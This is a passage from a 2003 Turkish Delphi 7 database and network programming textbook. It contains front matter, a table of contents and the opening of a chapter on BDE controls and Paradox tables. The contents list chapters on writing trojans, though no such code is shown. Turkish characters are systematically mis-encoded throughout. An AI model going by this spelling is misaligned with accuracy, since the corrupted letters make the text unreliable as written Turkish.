Untitled

Transkript

Untitled

II
ZøRVEDEKø BEYøNLER
Yüksel øNAN
Nihat DEMøRLø
Yayınları
Kitap Yazarları
Nihat DEMøRLø
MCP-MCSE-MCDBA-MCSD-MCAD
[email protected]
M. Yüksel øNAN
MCP-MCP+INT-MCSA-MCSE-MCDBA-MCSD-MCT-MCAD
[email protected]
Teknik Editör
Sibel YANAR
MCP-MCSE
ISBN: 975-92267-4-X
Prestie Education Center
Merkez
Halita÷a Cd. Kıvanç Sok. No: 1/5 Kadıköy/øSTANBUL
Tel: 0216. 330 06 50 (pbx)
0216. 449 54 78
0216. 345 71 75
Fax: 0216. 345 71 75
ùube
Gazi Üniversitesi Mühendislik-Mimarlık Fakültesi Maltepe / ANKARA
Tel: 0312. 231 74 00 / 1031 (Dahili)
mail: [email protected]
web: www.prestigeturk.com
Yayına Hazırlayan – Kapak
Selman Ali METøN
Baskı
Ümit Ofset Matbaacılık
Büyük Sanayi 1. Cad. 107/32-39-40-54 øskitler / ANKARA
Tel: 0312. 384 26 27 – 384 17 07
Ankara, 2003
Kitabın tüm hakları Prestij Biliúim E÷itim-Ö÷retim Turizm Hiz. Tic. Ltd. ùti.’ne aittir.
øzinsiz olarak kısmen veya tamamen kullanılması, kopyalanması ve ço÷altılması yasaktır.
IV
ÖNSÖZ
Zirvedeki Beyinler serisine ait altıncı kitabımızla karúınızdayız. ølgi, alaka,
be÷eni ve eleútirileriniz için teúekkürlerimizi sunmayı bir borç bilmekteyiz.
Serimizde yer alan Delphi kitaplarının ikincisini okumaktasınız. Veri
Tabanı ve Network hususunda kullanılabilecek geliúmiú kodlara yer vermeye,
zorlandı÷ınız hususlarda sizleri bilgilendirmeye çalıútık. Gönderdi÷iniz e-mailler
bizlere ataca÷ımız adımlar konususnda fazlasıyla yardımcı olmaktadır, bu
yüzden aynı ilgi ve alaka ile isteklerinizi bizlere bildirme alıúkanlı÷ınızın devam
etmesini istiyoruz.
Serimizin bir sonraki kitabı “Windows 2003 Server” olacaktır. Her ne kadar
yazılım ile ilgili olmasa da network hususunda derinlemesine bilgi edinmenizi
sa÷layaca÷ına inanıyoruz.
Bütün Hayallerinizin Gerçe÷e Dönüúmesi Dile÷iyle................
Sibel YANAR
Teknik Editör
VI
TEùEKKÜR
Üniversitemize ba÷lı olarak çalıúan Prestige firmasının üniversitemiz
bünyesinde ö÷rencilerimize ve akademik personelimize sa÷ladı÷ı e÷itim
olanakları ve yaptı÷ı çalıúmalar için Sayın Nihat DEMøRLø ve Yüksel øNAN’a
teúekkür ederim.
Prof. Dr. Hüsnü CAN
G.Ü. Müh.-Mim. Fak.
DEKANI
TEùEKKÜR
Bakım-onarım iúlerimizin bilgisayar ortamında dosyalama ve takibi ile ilgili
program çalıúmasına yaptı÷ı yardım için Sayın Nihat DEMøRLø ve Yüksel
øNAN’a teúekkür ederim.
T. KARLIDAö
Migros Türk T.A.ù.
ønú. Emlak Müd.
IX
TEùEKKÜR
Bankamız Güvenlik Sistemleri ve Kredi Kartı Uygulama çalıúmalarına yönelik
yazılım+danıúmanlık hizmetlerinden dolayı Nihat DEMøRLø ve Yüksel øNAN’a
teúekkür ederiz.
Burak AKTAù
INTERBANK
ønú. Emlak Md.
XII
øÇøNDEKøLER
BÖLÜM 1
BDE UYGULAMALARI...................................................................................... 1
Veri Tabanı Uygulamaları ......................................................................... 3
BDE Kontrolleri .......................................................................................... 4
Table Kontrolü .................................................................................. 4
Query Kontrolü ................................................................................. 4
StoredProc Kontrolü ........................................................................ 4
Database Kontrolü ............................................................................ 5
Paradox Tablolarına Ba÷lantı.................................................................... 5
Alias Tanımlamak ....................................................................................... 5
Paradox’ta Tablo Oluúturmak................................................................... 7
Tablo Yapısında De÷iúiklik Yapmak ........................................................ 9
DataBase Destop’ı Kullanarak Tabloya Kayıt Girmek .......................... 9
Uygulamanızdan Paradox Tablolarına Ba÷lanmak ................................ 10
Resimli veya CheckBox øçeren Tablo Sütunlarıyla Ba÷lantı ................. 11
Wizard Kullanarak Veri Tabanına Ba÷lanmak ...................................... 11
DBNavigator Kontrolü ..................................................................... 15
DBNavigator Kontrolü øçin Tıklanan Dü÷meye Kod Yazmak .... 17
Kayıtları DataGrid Nesnesinde Göstermek.............................................. 19
Kayıt øúlemlerini Kodla Yapmak .............................................................. 20
Ba÷lantı øúlemlerinin Kodla Yapmak ....................................................... 22
Veri Tabanında Olmayan Sütunlar Yaratmak........................................ 30
Yaratılan Sütun De÷erlerini Tablonuzda Hesaplatmak ......................... 33
DataGrid Kontrolüne Ait Özellikler ......................................................... 34
DataGrid Kontrolüne Ait Sütun Baúlıklarını Belirlemek............. 35
DataGrid Sütun Baúlıklarının Ortalanması................................... 36
DataGrid Sütun Geniúliklerini Ayarlamak .................................... 37
DataGrid Sütunlarını ReadOnly Yapmak ..................................... 37
DataGrid Sutununu ComboBox ùeklinde Kullanmak.................. 37
DataGrid Kontrolüne Ait Sütun Baúlıklarını Renklendirmek..... 38
DataGrid Sütunlarını Renklendirmek............................................ 38
DataGrid Font Ayarları ................................................................... 38
DataGrid Kontrolünde øúe Yaramayan Sütunları Gizlemek ....... 39
DataGrid Kontrolünde Sütun Baúlıklarını Gizlemek ................... 40
Aktif Kayıttaki Satır ve Sütun De÷erlerine Ulaúmak.................... 41
DataGrid Nesnesindeki Toplam Satır Sayısını Hesaplamak........ 41
DataGrid Nesnesi øçerisinde Sutuna Ait øúlem Yaptırmak .......... 42
DataGrid Nesnesine Ait Yordamlar................................................ 43
Kayıt Filtreleme øúlemleri .......................................................................... 46
Filtrelenmiú Kayıtlar Arasında Gezinmek ............................................... 49
Filtreli Kayıtlarda Bir Sonrakini Git ........................................................ 49
Filtreli Kayıtlarda Bir Öncekine Git......................................................... 50
Filtreli Kayıtlarda ølk Kayda Git .............................................................. 50
Filtreli Kayıtlarda Son Kayda Git............................................................. 50
Tarih Aralı÷ına Göre Filtre Uygulamak................................................... 50
Secondary Index Tanımlamak................................................................... 50
Parasal Aralı÷a Göre Filtre Uygulamak................................................... 53
Kayıt Arama øúlemleri ................................................................................ 56
Locate Methodu ................................................................................ 56
Birden Fazla Sütuna Göre Arama Yaptırmak .............................. 58
SetKey-GotoKey Methodları ........................................................... 59
SetKey-GotoNearest Methodları ..................................................... 60
Lookup Methodu............................................................................... 61
Transaction øúlemi....................................................................................... 63
Database Kontrolü ............................................................................ 63
Query Kontrolü ................................................................................. 69
Query Kontrolüne Ait Yordamlar .................................................. 72
Wizard Kullanarak Query Kontrolüyle Tabloya Ba÷lanmak ..... 74
BÖLÜM 2
STANDART SQL KOMUTLARI ....................................................................... 75
SQL Komutları............................................................................................ 77
Tüm Kayıtları Listelemek ................................................................ 77
Sadece østenilen Sütunları Listelemek ............................................ 78
Yeni Sütun Baúlıkları Belirlemek.................................................... 79
Yeni Sütun Eklemek ......................................................................... 79
Sıralama Yapmak (Order By) ......................................................... 80
Aynı Kaydı Birkere Listelemek(Distinct) ....................................... 82
Matematiksel Sorgu Komutları ................................................................. 83
Sütundaki En Yüksek De÷eri Hesaplamak(Max).......................... 83
Sütundaki En Küçük De÷eri Bulmak(Min) ................................... 84
Sütun Toplamını Bulmak(Sum) ...................................................... 85
Sütun Ortalamasını Hesaplatmak(Avg) ......................................... 86
Kayıt Sayısını Bulmak(Count)......................................................... 86
Gruplandırma Yapmak(Group By) ................................................ 87
Gruplandırılmıú Sütunlara Koúul Koymak(Having) .................... 88
Sorguya Koúul Koymak(Where) ..................................................... 89
Aynı Anda Birden Fazla Koúulu Sa÷lamak(In) ............................. 90
Aynı Anda Birden Fazla ùartın Sa÷lanmaması(Not In) ............... 91
ùartlardan Sadece Bir Tanesinin Yeterli Olması(Or)................... 92
Aralık Sorgulamak(Between) .......................................................... 93
øç øçe Select øfadesi Kullanmak ....................................................... 94
XIV
Sütun øçerisinde Arama Yapmak(Like) ......................................... 95
øki Tabloyu Aynı Anda Sorgulamak ......................................................... 97
Inner Join Komutu øle Koúul Koymak ........................................... 98
Outer Join Komutu øle Koúul Koymak .......................................... 99
Union Komutunu Kullanarak Tabloları Birleútirmek.................. 101
Tablo Yapısında De÷iúiklik Yapan Sorgular............................................ 102
UpdateSQL Kontrolü ....................................................................... 102
Sorguyla Kayıt Silmek(Delete) ........................................................ 103
Sorguyla Tabloya Kayıt Eklemek ................................................... 106
Query Kontrolüne Parametre De÷eri Göndermek.................................. 112
Parametre Olarak Tarih øçerikli De÷iúken Kullanmak................ 115
Parametre Olarak Parasal øçerikli De÷iúken Kullanmak............. 116
Birden Fazla Parametre De÷eri Göndermek ................................. 117
Opsiyonel Parametreli Sorgu Oluúturmak..................................... 118
Parametreyi “Like” Komutuyla Beraber Kullanmak .................. 120
BÖLÜM 3
TABLOLAR ARASI øLøùKøLENDøRME ......................................................... 121
Birden Fazla Tablo øle Çalıúmak............................................................... 123
Master Detail Form Yapısını Manuel Oluúturmak ................................. 127
Master-Detail Tablolarda Kayıt Arama øúlemleri ................................... 128
Lookup øúlemleri ......................................................................................... 130
DBLookupComboBox Kontrolü...................................................... 130
DBLookupListBox Kontrolü ........................................................... 134
Tabloda Lookup Sütunları Yaratmak ............................................ 136
BÖLÜM 4
GARAFøK ÇøZDøRMEK ..................................................................................... 141
Tablo Kayıtlarını Grafikte Göstermek ..................................................... 143
Birden Fazla Seri øçeren Grafik Oluúturmak .......................................... 149
Grafi÷i Yazdırmak ...................................................................................... 151
Data Modul Yapısı ...................................................................................... 152
DataModule Kullanarak Tablolara Ba÷lanmak............................ 153
Data Module øçerisinde Parametre Oluúturmak ........................... 155
DataSource Kontrolü .................................................................................. 157
Kodla Tablo Oluúturmak ........................................................................... 162
BÖLÜM 5
RAPOR DOSYASI OLUùTURMAK.................................................................. 167
Rapor Dosyaları Oluúturmak .................................................................... 169
QuickRep Kontrolü .......................................................................... 170
QRSubDetail Kontrolü..................................................................... 170
QRBand Kontrolü............................................................................. 170
XV
QRGroup Kontrolü .......................................................................... 170
QRLabel Kontrolü ............................................................................ 170
QRDBText Kontrolü ........................................................................ 170
QRExpr Kontrolü ............................................................................. 170
QRSysData Kontrpolü...................................................................... 170
QRMemo Kontrolü........................................................................... 170
QRRichText Kontrolü ...................................................................... 171
QRShape Kontrolü ........................................................................... 171
QRImage Kontrolü ........................................................................... 171
QRDBImage Kontrolü...................................................................... 171
Gruplandırılmıú Rapor Dosyası Oluúturmak........................................... 176
Rapor Dosyasına Uygulamanızdan Eriúmek............................................ 183
BÖLÜM 6
DECISION CUBE ILE ÖZET TABLO GÖRÜNTÜLERø
OLUùTURMAK.................................................................................................... 185
Decision Cube Kontrolleri.......................................................................... 187
Tablo Kayıtlarını Özet Tablo Olarak Listelemek.................................... 187
Tablo Kayıtlarını Grafik ùeklinde Göstermek ........................................ 188
DecisionPivot Kontrolü Kullanarak Senaryo Oluúturmak..................... 190
BÖLÜM 7
ADO KONTROLLERø......................................................................................... 195
ADO Kontrolleri.......................................................................................... 197
Adoconnection Kontrolü .................................................................. 197
ADOTable Kontrolü ......................................................................... 200
Microsoft Access Veri Tabanına Ba÷lanmak ........................................... 200
SQL Server øle Çalıúmak............................................................................ 201
Adoconnection Kontrolünü Kullanarak SQL Server’a Ba÷lanmak...... 202
ADOQuery Kontrolü ........................................................................ 205
ADOQuery Kontrolüne Programdan Parametre Göndermek .... 206
ADOStoredProc Kontrolü................................................................ 207
SQL Server’da Stored Procedure Oluúturmak........................................ 207
Delphi øçerisinden Stored Procedur’lere Ulaúmak.................................. 209
Parametre øçeren Stored Procedure Oluúturmak ................................... 211
Programdan Stored Procedur’e Parametre De÷eri Göndermek ........... 211
øleri Düzey Stored Procedur Uygulamaları.............................................. 213
Stored Procedur Kullanarak Kayıtları De÷iútirmek..................... 213
Stored Procedur Kullanarak Kayıt Silmek .................................... 215
Stored Procedure øle Hesaplanan De÷erleri De÷iúkenlere
Aktarmak........................................................................................... 217
Stored Procedure Fonksiyonları................................................................ 219
String Fonksiyonları ......................................................................... 219
XVI
Matematiksel Fonksiyonlar ............................................................. 219
Tarih-Zaman Fonksiyonları ............................................................ 219
ADODataSet Kontrolü ............................................................................... 220
ADODataSet Kontrolü øle Kayıt øúlemleri ..................................... 223
ADODataSet Kullanarak Kayıtları Filtrelemek............................ 225
ADODataSet Kullanarak Kayıt Arama øúlemleri ......................... 225
ADODataSet1.Locate Methodu............................................. 226
ADODataSet Kontrolü Kullanarak Master/Detail Form
Oluúturmak.............................................................................. 227
ADODataSet Kontrolüne Uygulanabilecek Kilitler ...................... 231
ADODataSet Kontrolü øle Kayıt Eklemek ..................................... 231
ADODataSet Kontrolü øle Aktif Kaydı Silmek.............................. 231
ADODataSet ve Transaction............................................................ 231
BÖLÜM 8
XML DOSYALARI OLUùTURMAK ................................................................ 235
ClientDataSet Kontrolü .............................................................................. 237
ClientDataSet Kontrolü øçerisindeki Kayıtları Xml Uzantılı
Kaydetmek ................................................................................................... 240
BÖLÜM 9
INTERBASE KONTROLLERI .......................................................................... 243
INTERBASE Veri Tabanı øúlemleri.......................................................... 245
InterBase Kullanarak Veri Tabanı Oluúturmak ..................................... 245
InterBase Veri Tabanı øçerisinde Tablo Yaratmak................................. 248
InterBase øçerisinden Tabloya Kayıt Girmek.......................................... 250
Delphi Projesinden Yarattı÷ınız Tabloya Ba÷lanmak ............................ 250
InterBase Veri Tabanında Geliúmiú Tablolar Yaratmak ....................... 252
InterBase Kontrolleri.................................................................................. 254
IBDataBase Kontrolü ....................................................................... 254
IBTransaction Kontrolü................................................................... 255
IBTable Kontrolü.............................................................................. 255
InterBase Kontrolleri øle Kayıt øúlemleri ................................................. 256
IBQuery Kontrolü............................................................................. 261
InterBase Tablolarını Parametre øle Sorgulamak................................... 262
InterBase Kontrolleri Kullanarak Master Detail Form Oluúturmak.... 264
BDE Kontrolleriyle InterBase Veri Tabanına Ba÷lanmak..................... 266
SYSDBA Kullanıcısına Ait ùifreyi De÷iútirmek ...................................... 267
Yeni Kullanıcılar Tanımlamak .................................................................. 269
BÖLÜM 10
RAVE KONTROLLERø øLE RAPOR DOSYASI OLUùTURMAK .............. 271
Rave Kontrollerini Kullanarak Rapor Oluúturmak................................ 273
XVII
Programdan Rapor Dosyalarına Ulaúmak ............................................... 278
Sütun De÷erleri øle Hesap Yapmak........................................................... 280
Hesaplanan Sütunlara Ait Biçimlendirme øúlemleri ............................... 281
Calc Text Component Kontrolü ile Yapılabilecek
Di÷er Hesaplamalar .................................................................................... 282
Kayıtları Altı Çizili Hale Getirmek ........................................................... 282
Koúula Uyan Kayıtların Raporunu Oluúturmak ..................................... 283
BÖLÜM 11
NETWORK PROGRAMCILIöI ........................................................................ 287
Network Programcılı÷ına Giriú ................................................................. 289
TCP/IP Protocollerine Genel Bir Bakıú .................................................... 290
Internet Kontrolleri .................................................................................... 297
WebBrowser Kontrolü................................................................................ 297
Uygulama 1: WebBrowser Örne÷i .................................................. 300
Uygulama 2:Sakıncalı Sayfalar øçin WebBrowser Örne÷i ........... 302
TcpServer Kontrolü .................................................................................... 305
TcpClient Kontrolü..................................................................................... 308
Uygulama 3:Di÷er Bilgisayardaki Tabloyu Sorgulamak.............. 310
DataSetTableProducer Kontrolü............................................................... 314
Uygulama 4:Tabloları Web Sayfasında Görüntülemek................ 315
BÖLÜM 12
INDY KONTROLLERø ....................................................................................... 319
Indy Kontrolleri .......................................................................................... 321
IdSMTP Kontrolü............................................................................. 321
IdMessage Kontrolü.......................................................................... 324
Uygulama 5:E-Mail Göndermek ........................................... 326
IdPOP3 Kontrolü .............................................................................. 329
IdMessage Kontrolünün e-mail Alırken Kullanabilece÷iniz
Methodları ......................................................................................... 331
Uygulama 6:E-Mail Almak.................................................... 333
IdAntiFreeze Kontrolü ..................................................................... 339
IdTCPServer Kontrolü..................................................................... 340
IdTCPClient Kontrolü...................................................................... 344
Uygulama 7:Chat Uygulaması............................................... 346
Uygulama 8:Dosya Transferi................................................. 350
IdFTP Kontrolü ................................................................................ 353
Uygulama 9:Ftp Sitelerinden Dosya øndirmek .................... 359
IdEncoderMIME Kontrolü.............................................................. 364
IdDecoderMIME Kontrolü .............................................................. 365
Uygulama 9:Dosyalara Encript-Decript øúlemleri
Uygulamak............................................................................... 366
XVIII
Uygulama 10:Stream Tip De÷iúkenlerle Encript-Decript
øúlemleri ................................................................................... 370
IdIPWatch Kontrolü......................................................................... 372
IdNetworkCalculator Kontrolü....................................................... 374
Uygulama 11:IP Numaralandırma ....................................... 376
Uygulama 12:Ba÷lanan Bilgisayarın IP Aralı÷ı .................. 378
Uygulama 13:ølk Trojan......................................................... 381
Uygulama 14:Daha Geliúmiú Bir Trojan .............................. 389
Uygulama 15:Network Uygulamalarında Veri Tabanı
Kullanmak ............................................................................... 395
BÖLÜM 13
SETUP PROJESø OLUùTURMAK.................................................................... 401
Setup Projesi Oluúturmak .......................................................................... 403
Setup Projesinin Di÷er Bilgisayarlara Yüklenmesi ................................. 411
XIX
SON SÖZ
Serimizin altıncı kitabını da tamamlamıú bulunuyoruz. Di÷er kitaplarımıza
göstermiú oldu÷unuz ilgiyi aynen devam ettirmeniz en büyük temennimiz
olacaktır. Kitaplarımız hkkındaki tüm eleútiri ve önerilerinizi
[email protected] adresine gönderebilir, karúılaútı÷ınız problemler için
bu adresten çözüm isteyebilirsiniz.
TCP/IP Protokolü hususunda bilgisinden faydalandı÷ımız Osman ÇALIù’a
teúekkürü bir borç bilmekteyiz.
XX
BÖLÜM 1
BDE UYGULAMALARI
2
Veri Tabanı Uygulamaları:
Geliútirece÷iniz uygulamaların neredeyse tamamında kullanaca÷ınız,
bilgilerinizi yazdırabilece÷iniz (daha sonra tekrar ulaúabilmek için) programlara
ihtiyacınız olacak, dolayısıyla veritabanı deste÷i her zaman karúılaúaca÷ınız
vazgeçilmez bir konu olmaktadır. Profesyonel uygulamalarınızda günlük düzenli
olarak rapor tutmanız gerekecektir. Bu yüzden bu verileri daha sonra kullanmak
amaçlı bilgisayarınızda saklamalısınız. Bilgisayara veri saklama iúlemlerini
düzenli bir tablo yapısına sahip olan veritabanı programlarıyla
gerçekleútirmekteyiz. Daha sonra Delphi ile bu veritabanı uygulamalarına
ba÷lanıp gerekli bilgilere ulaúabilmekteyiz.
ùunu unutmayın bilgilerin tutuldu÷u yer Delphi de÷ildir. Bilgiler veritabanı
programlarına kaydedilir (Paradox,Dbase,Access,SQùL Server vs). Delphi de
size sa÷ladı÷ı imkanla bu veri tabanı bilgilerini istedi÷iniz gibi kullanmanızı
sa÷lar.
Biz uygulamalarımızda Delphi’nin en verimli kullanabildi÷i “Paradox”
tablolarından faydalanaca÷ız. ùayet çok büyük network uygulamaları
oluúturacaksanız SQL Server veya Oracle kullanmalısınız.
Delphi7’de Veitabanı ba÷lantılarını gerçekleútirmek için “Component Palet”
araç çubu÷unda bulunan “BDE” Yapra÷ını kullanır. Bu yapraktaki kontroller
sayesinde kolayca veri tabanlarına ba÷lanabilmektedir.
Yine “Component Palet” yapra÷ında bulunan “Data Controls” kontrolleriyle de
tabloları yönetmek için kullanıcıya gerekecek olan ara yüz oluúturma
seçenekleri sunulmaktadır.
3
BDE Kontrolleri:
Veritabanı ba÷lantı iúlemlerini gerçekleútiren kontroller bu yaprakta bulunur.
Direk veritabanıyla çalıúmak bir çok durumda (bilhassa network ortamında
binlerce kiúinin aynı tabloya bilgi girdi÷ini düúünürseniz) performans açısından
sakınca yaratmaktadır. Bu yüzden performansı en üst düzeyde tutmak için bilgi
giriúleri tüm kullanıcıların local mekinelerinde yapılır, müsait bir zaman da da
servera gönderilir. Do÷rusunu isterseniz bu sistem online gönderimler dıúında
çok etkili olmuútur. Tüm dillerin kullandı÷ı yapıda budur. ùimdi sizlere bu
çalıúma imkanlarını oluúturan “BDE” kontrollerine bir göz atalım.
x Table Kontrolü:
Bu kontrol sayesinde veritabanında bulunan tablo ile direk ba÷lantı kurulur.
Lokal bilgisayarda ana tablonun bire bir bir kopyası oluúturularak yapılan
de÷iúiklikler bu kontrole yazılırlar. Daha sonra müsait bir zamanda tüm
de÷iúiklikler veri tabanı tablosuna tekrar yazdırılır. Ben bu kontrolle
veritabanına ba÷lanmanızı (zorunlu kalmadı÷ınız sürece) , bilhassa çok fazla
satır içeren tablolarda tavsiye etmiyorum. Ama ba÷lantı mantı÷ını anlamanız
açısından kesinlikle çok iyi bilinmesi gerekti÷ini düúünüyorum.
x Query Kontrolü:
Veri Tabanı tablolarınızı sorgulayarak local makinenize indiren kontroldür. Bu
tür ba÷lantıda tablonuzdaki tüm satırlara (isterseniz tüm tabloyuda alabilirsiniz)
de÷il sizi ilgilendiren satırlara ulaúmak için kullanılır. “StoredProc”
kontrolünden sonra ba÷lantı iúlemleri için en çok kullanaca÷ınız kontrol
oldu÷unu belirtmek isterim. Bu kontrolle Table kontrolünün yaptı÷ı gibi hiç bir
kriter koymadan tüm tablo bilgilerine de kolayca ulaúabilirsiniz.
x StoredProc Kontrolü:
Veri Tabanı tablolarına en hızlı ve etkili ba÷lantı sa÷layan “BDE” kontrolüdür.
Bu kontrolle yapılan ba÷lantıdaki amaç, trafi÷i azaltmak için servera sadece
parametre göndererek tekrar tekrar tabloların sorgulanmamasını sa÷lamaktır.
“Stored procedur’ler çalıútırıldıkları andan kapatılana kadar sadece bir kere
derlenirler, bu da “Query” kontrolüne göre ilk çalıútırılmadan sonra çok daha
hızlı sonuç vermesini sa÷lamaktadır. ølerleyen bölümlerde (bilhassa büyük
uygulamalar için) kontrole ait bir çok örneklendirmeler yapılacaktır. Lütfen hiç
bir ayrıntıyı kaçırmadan tamamını anlamaya çalıúınız. Göreceksiniz bir süre
sonra herúeyi otomatik olarak halledebilme seviyesine ulaúacaksınız.
4
x Database Kontrolü:
Bilhassa Trasaction iúlemlerinde kullanılan ve yapılan tüm de÷iúiklikleri
kaydedebilece÷iniz bir kontroldür. Bu kontrollerden projenize ne kadar çok
eklerseniz programınızın o kadar performans kaybedece÷ini unutmayınız.
Yukarıda bahsedilen tüm kontroller kullanıcıya oluúturaca÷ınız arayüz ile Veri
Tabanı tabloları arasında ki ba÷lantıyı oluúturmak içindir. Arayüz kontrollerinde
yapaca÷ınız de÷iúiklikler öncelikle bu nesnelerde etkili olacaktır. Daha sonra
istenildi÷i vakit ana tabloya da yansımaları sa÷lanacaktır.
Paradox Tablolarına Ba÷lantı:
Delphi’nin en performanslı çalıúma yaptı÷ı Veri Tabanı Paradox’tur. Bu yüzden
örneklerimizi (çok büyük yazılımlar hariç en çok bu veri tabanı kullanılır) bu
tablolar üzerinde yo÷unlaútıraca÷ız. Tablo oluúturmaya geçmeden önce ileride
çok iúinize yarayacak (muhakkak ilk bu iúlemi yapın) olan “Alias” tanımlama
iúleminden bahsetmek istiyorum.
Alias Tanımlamak:
Alias lar tabloların bulundu÷u adresi tutan takma adlardır. Bu yapı sayesinde her
defasında tablonun adresini girmek zorunda kalmazsınız. Uygulamaya
baúlamadan tablolarınızı kaydedece÷iniz klasöre takma ad (Alias) belirlerseniz.
Yapaca÷ınız ba÷lantılarda tablonun yolunu de÷ilde belirlemiú oldu÷unuz bu
Alias ‘ı kullanırsınız. Alias tanımlamak için aúa÷ıdaki adımları izleyin.
“Start->Settings->Control Panel” seçeneklerini arka arkaya tıklayın.
Karúınıza aúa÷ıdaki pencere açılacaktır.
Açılan pencereden “BDE Administrator” seçene÷ine çift tıklayın.
5
Açılan bu pencerede “DataBase” üzerine mousun sa÷ tuúuna tıklayarak
menü penceresini açın ve “New” seçene÷ine tıklayın. Aúa÷ıdaki pencere
açılacaktır.
Bu pencereyi “OK” Buttonuna tıklayarak geçin. Yeni Aliasınız
pencerenize “STANDART” ismi ile eklenecektir. øsmini de÷iútirip (gazi),
“PATH” kısmınada tablonuzu kaydedeci÷iniz klasörü girin (veya seçin)
Gördü÷ünüz gibi biz tablonun kaydedilece÷i klasörü “c:\prestige” olarak
belirledik. Alias ismi olarak ta “gazi” seçimini kullandık.
6
Pencereyi kapatıp, gelen uyarı penceresine de olumlu cevap verin.
Alias tanımlamasını yaptıktan sonra oluúturaca÷ınız tablolara bu aliası
kullanarak eriúmek istiyorsanız tablolarınızı “c:\prestige” klasörünün içerisine
(çünkü bu klasör path olarak gösterildi) kaydetmelisiniz. Aksi takdirde bu alias
iúinizi görmeyecektir.
Paradox’ta Tablo Oluúturmak:
Paradox’ta tablo oluúturmak için iki yönteminiz mevcut. Birincisi Delphi yi hiç
açmadan (biz bu yolu tavsiye ediyoruz. Tablolar ile ilgili iúlemleri yaparken
uygulamanızı kapatmanız oluúabilecek sorunları engelleyecektir. Bilhassa
ba÷lantıdaki bir tablo tasarımını de÷iútirmenize paradox izin vermeyecektir)
“Start->Programs->Borland Delphi7->DataBase Destop” adımlarını izleyin.
Açılan pencereden “File->New->Table” seçeneklerini seçerek aúa÷ıdaki “Create
Table” penceresinin açılmasını sa÷layın.
Bu pencerede destek verilen Veri Tabanlarının isimleri bulunmaktadır.
Tablonuzu hangi veri tabanında oluúturacaksanız onu seçmelisiniz. Biz
“Paradox” u kullanaca÷ımız için “Paradox7” seçene÷ini seçerek “OK”
Buttonuna bastık. Karúınıza aúa÷ıda gösterilen pencere açılacaktır. Bu pencerede
tablonuzda yer alacak olan sütun isimlerini,sütun tiplerini,sütun uzunluklarını ve
index lerinizi belirlemelisiniz. Di÷er seçenekler zaten Delphi içerisinden çok
kolay halledilebilece÷i için onlarla fazla kafanızı yormanızı tavsiye etmem.
Aúa÷ıda karakteristik özellikleri verilen sütunları bu pencerede oluúturunuz.
Fieeld Name(Sütun øsmi)
Type(Tipi)
Size (Kaç Karakter)
SIRANO
+
Otomatik artar
MAGAZAADI
A
25
SERVISTARIHI
D
GIDENFIRMA
A
25
ARIZASEBEBI
A
25
FATURATUTARI
$
Key(Primary ind)
*
Tabloya dikkat edin ilk sütun kolon baúlıklarını, ikinci sütun içeri÷in tipini
(Type kısmında mousun sa÷ tuúuna basarsanız tüm seçenekler listelenir), üçüncü
sütun kaç karakter veri alabilece÷ini (tarih ve parasal içeriklerde paradox bu
7
de÷eri kendisi belirler), son sütun ise tablonuzdaki Primary index i belirler. “*”
koydu÷unuz sütun o tablo için Primary index sütunu olacaktır (dikkat edin en
üstteki sütunu primary belirleyebilirsini).ùimdi “Save As” buttonuna tıklayarak
tablonuzu “gazi” Aliasının gösterdi÷i klasörün (“c:\prestige”) içerisine
“SERVIS” ismiyle kaydedin.
“Save As” buttonuna tıkladıktan sonra açılan yukarıdaki pencerede yer alan
“Alias” kısmından “gazi” yi seçmeniz “c:\prestige” klasörünü aktif yapmaya
yetecektir. øsmini (SERVIS) yazıp kaydedebilirsiniz.
8
Tablo Yapısında De÷iúiklik Yapmak:
ùimdi sizlere ikinci yöntemle (bu yöntemle tabloda oluúturabilirsiniz) tablo
yapısında nasıl de÷iúiklik yapabilece÷inizi göstermek istiyorum (siz hep birinci
yolu takip edin). “Tools->DataBase Destop” adımlarından sonra aynı pencere
açılacaktır. Açılan bu pencerede “File->Open->Table” seçeneklerini seçip,
dosya aç penceresinin açılmasını sa÷layın. Daha önceden kaydetti÷iniz
tablonuzu (“Alias isminden hemen bulabilirsiniz) seçip “Open” dü÷mesine
basın. Ardından “Table->Restructure” seçeneklerini seçerek tablonuzu
oluúturdu÷unuz pencereye dönebilirsiniz. Burada tablo yapınız için gerekli
de÷iúiklikleri yapabilirsiniz.
Uyarı:Tablonuzu baúlangıçta düzgün tasarlamaya önem gösteriniz.Daha
sonra yapmak isteyece÷iniz fazla radikal de÷iúiklere “Paradox” izin
vermeyebilir, tablonuzu tekrar oluúturmak zorunda kalabilirsiniz.
DataBase Destop’ı Kullanarak Tabloya Kayıt Girmek:
Bu yöntemi fazla kullanmayacaksınız ama örnekleri hızlı denemek için bilmekte
fayda var. DataBase Desktop’ı açtıktan sonra “File->Open” seçenekleri ile
tablonuzu açın. “Table->Edit Data” adımlarını izleyin, tablonuza bu aúamadan
sonra kolayca kayıt girebilirsiniz.
ùimdilik yukarıdaki kayıtları “Edit Data” komutunu vererek “Paradox” Veri
Tabanı içerisinden giriniz.
Bu aúamadan sonra Delphi’den “BDE” kontrollerini kullanarak bu tabloya
ba÷lantı sa÷layaca÷ız. Girdi÷imiz kayıtlardaki amaç ba÷lantının do÷ru olarak
kurulup kurulmadı÷ı içindir. Yoksa kullanıcı az önceki ekrandan asla kayıt
girmeyecektir.
9
Uygulamanızdan Paradox Tablolarına Ba÷lanmak:
Programınız içerisinden Paradox veri tabanına aúa÷ıdaki adımları izleyerek
kolayca ba÷lanabilirsiniz.
Birinci adımda formunuzun üzerine “BDE” Yapra÷ında bulunan “Table”
nesnesinden bir adet yerleútirin.
“Table” kontrolünün “DataBaseName” özelli÷ine tablonuzun içerisinde
bulundu÷u klasörü referans gösteren “Alias” ınızın (bizim örne÷imizde
“gazi”) ismini aktarın.
Üçüncü adımda yine “Table” nesnesini seçerek “Object Inspector”
penceresinden “Table Name” özelli÷ine paradox ta oluúturdu÷unuz
tablonuzun ismini girin (veya seçin). Bizim örne÷imizde “SERVIS”
tablosu olacaktır.
Dördüncü adımda aúa÷ıdaki form tasarımını oluúturup, altı (6) adet Label
kontrolü ile yine altı (6) adet “DataControls” yapra÷ında yer alan
“DBEdit” kontrolü yerleútiriniz.
Yerleútirdi÷iniz kontroller ile “Table” nesnesi arasındaki ba÷lantıyı
sa÷lamak için formunuza bir adet “DataAccess” yapra÷ında yer alan
“DataSource” kontrolü yerleútirin.
“DataSource” kontrolünü seçip “Object Inspector” pencersinden
“DataSet” özelli÷ine eklemiú oldu÷unuz “Table” kontrolünüzün ismini
aktarın. ùayet de÷iútirmediyseniz “Table1” olarak açılan pencerede
gözükecektir.
Bu adımda “Table” nesnenizin “Active” özelli÷ine “true” de÷erini aktarın
